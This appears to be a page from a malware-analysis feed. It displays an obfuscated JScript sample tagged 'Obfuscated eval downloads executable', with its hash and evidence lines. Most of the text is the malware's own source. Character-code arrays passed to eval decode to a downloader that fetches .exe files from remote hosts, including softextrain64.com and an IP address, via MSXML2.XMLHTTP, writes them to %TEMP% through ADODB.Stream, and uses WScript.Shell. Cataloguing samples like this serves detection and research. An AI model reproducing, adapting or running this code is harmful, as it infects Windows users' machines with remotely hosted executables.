Suspicious 80% javascript-malware-collection Download

20151210_22e05a2a76f1eaed3ab7bec4c509c2c5.js

Obfuscated eval downloads executable

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-25613bb4c4195404cbc1970660f5ffd3477b8ce1c1461ae29619a2d335bbddbfa84

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';WrXcU[126]='~';WrXcU[127]='';
3function ZtPRa(qrRNcARXtOY,GtIcHGButLvrt,ZdDZRHTo){nbup=parseInt(qrRNcARXtOY,GtIcHGButLvrt);YVrtJ=nbup.toString(ZdDZRHTo);return YVrtJ;}function TRYKLlrGrrMOESQ(MIcwiPnqebcbxErLc){eval(MIcwiPnqebcbxErLc)}
4function SlgqlskGPRkfPvqbmuvfAFVwwXNzUzXmYAsPzxcNVmvALcnfEPfvel(NSvGdvLuZHTwI,gmnMOwYbxqmlCp){ return WrXcU[ZtPRa(NSvGdvLuZHTwI[gmnMOwYbxqmlCp],(4804+906)/571,(1968+222)/219)];}
5function zyyFLBH(pmpObbCnzYKHeeUyPMTOccwJVAgzrQXAJFtC) {return !isNaN(parseFloat(pmpObbCnzYKHeeUyPMTOccwJVAgzrQXAJFtC)) && isFinite(pmpObbCnzYKHeeUyPMTOccwJVAgzrQXAJFtC);}
6function VIWjPQPpmSL(rdvZbRvh,TtxKhT){return rdvZbRvh.split(TtxKhT)}
7var b=["13","10","13","10","118","97","114","32","77","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","54","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","83","65","121","32","61","40","40","49","47","42","98","100","88","120","49","55","50","57","52","55","53","57","54","110","55","48","56","52","54","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","122","107","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","83","65","121","41","59","13","10","118","97","114","32","110","69","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","104","111","77","32","61","32","122","107","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","110","69","41","59","13","10","118","97","114","32","120","70","109","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","65","118","115","32","61","32","120","70","109","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","72","86","32","61","32","116","114","117","101","32","32","44","32","78","110","100","102","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","90","120","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","4 …
8var A=["51","51","51","59","13","10","102","111","114","32","40","118","97","114","32","118","61","89","98","97","59","32","118","60","77","46","108","101","110","103","116","104","59","32","118","43","43","41","32","32","123","13","10","32","32","118","97","114","32","99","69","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","90","120","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","77","91","118","93","43","122","44","32","102","97","108","115","101","41","59","32","90","120","46","115","101","110","100","40","41","59","32","105","102","32","40","90","120","46","115","116","97","116","117","115","32","61","61","32","54","48","54","45","52","48","54","41","32","32","123","13","10","32","32","32","32","32","32","85","106","73","46","111","112","101","110","40","41","59","32","85","106","73","46","116","121","112","101","32","61","32","49","59","32","85","106","73","46","119","114","105","116","101","40","90","120","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","85","106","73","46","115","105","122","101","32","62","32","49","54","51","53","52","45","50","55","54","41","32","32","123","13","10","32","32","32","32","32","32","32","32","99","69","32","61","32","49","59","32","85","106","73","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","85","106","73","46","115","97","118","101","84","111","70","105","108","101","47","42","90","113","81","119","53","53","106","80","82","50","42","47","40","104","111","77","47","42","68","70","106","52","52","54","86","119","99","72","42","47","43","100","71","73","97","85","78","66","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32","32"," …
9var CWMVo=[b,A];
10var HipdYbdXD=[];
11function ZbmkVwWIIbUjGNVXE(CWMVo){CWRvrYzKeMl= '';for(ATWRvjxTxNW=(-235+235)/230; ATWRvjxTxNW < (454+308)/381; ATWRvjxTxNW++) {HipdYbdXD[ATWRvjxTxNW]=(-242+242)/862; while(true) { if(HipdYbdXD[ATWRvjxTxNW] > CWMVo[ATWRvjxTxNW].length-(60+351)/411) { break; } if (zyyFLBH(ZtPRa(CWMVo[ATWRvjxTxNW][HipdYbdXD[ATWRvjxTxNW]],(4826+134)/496,(2661+439)/310))) {CWRvrYzKeMl += SlgqlskGPRkfPvqbmuvfAFVwwXNzUzXmYAsPzxcNVmvALcnfEPfvel([CWMVo[ATWRvjxTxNW][HipdYbdXD[ATWRvjxTxNW]]], (-817+817)/410);} HipdYbdXD[ATWRvjxTxNW]++;}} return CWRvrYzKeMl}
12TRYKLlrGrrMOESQ(ZbmkVwWIIbUjGNVXE(CWMVo));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.